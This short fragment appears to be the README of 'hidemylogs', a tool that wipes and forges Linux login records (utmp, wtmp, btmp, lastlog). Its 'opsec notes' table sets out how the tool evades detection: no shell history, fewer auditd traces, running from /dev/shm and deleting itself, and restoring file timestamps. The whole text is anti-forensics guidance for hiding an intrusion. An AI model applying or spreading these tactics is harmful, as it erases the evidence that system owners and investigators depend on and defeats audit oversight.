supported targets

utmp

Current sessions. Read by who, w.

wtmp

btmp

Failed login attempts. Read by lastb.

lastlog

Last login per UID. Read by lastlog. Supports wipe + forge.

opsec notes

Vector	Shell script	hidemylogs (binary)
.bash_history	Every command logged	Single execve
auditd	Multiple syscalls per op	Direct read/write/lseek
ps / proc	Interpreter visible	Binary name only
Disk artifacts	.py/.sh persists	Run from /dev/shm, delete
Dependencies	Python/Bash required	musl static, zero deps
File timestamps	mtime changes	atime+mtime restored
